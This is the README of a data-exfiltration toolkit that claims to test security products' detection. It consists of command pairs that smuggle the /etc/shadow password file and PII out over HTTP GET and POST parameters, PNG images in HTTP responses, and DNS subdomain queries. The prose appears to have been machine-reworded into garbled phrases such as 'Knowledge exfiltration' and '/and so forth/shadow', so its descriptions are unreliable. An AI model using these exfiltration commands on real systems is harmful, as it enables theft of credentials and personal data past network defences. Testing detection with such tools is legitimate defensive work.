Knowledge exfiltration utility for testing detection capabilities
Description
Knowledge exfiltration utility used for testing detection capabilities of safety merchandise. Clearly for authorized functions solely.
Exfiltration How-To
/and so forth/shadow -> HTTP GET requests
Server
# ./exfilkit-cli.py -m exfilkit.strategies.http.param_cipher.GETServer -lp 80 -o output.log
Consumer
$ ./exfilkit-cli.py -m exfilkit.strategies.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r
/and so forth/shadow -> HTTP POST requests
Server
# ./exfilkit-cli.py -m exfilkit.strategies.http.param_cipher.POSTServer -lp 80 -o output.log
Consumer
$ ./exfilkit-cli.py -m exfilkit.strategies.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r
PII -> PNG embedded in HTTP Response
Server
$ ./exfilkit-cli.py -m exfilkit.strategies.http.image_response.Server -lp 37650 -o output.log
Consumer
# ./exfilkit-cli.py -m exfilkit.strategies.http.image_response.Consumer -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r
PII -> DNS subdomains querying
Server
# ./exfilkit-cli.py -m exfilkit.strategies.dns.subdomain_cipher.Server -lp 53 -o output.log
Consumer
$ ./exfilkit-cli.py -m exfilkit.strategies.dns.subdomain_cipher.Consumer -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r
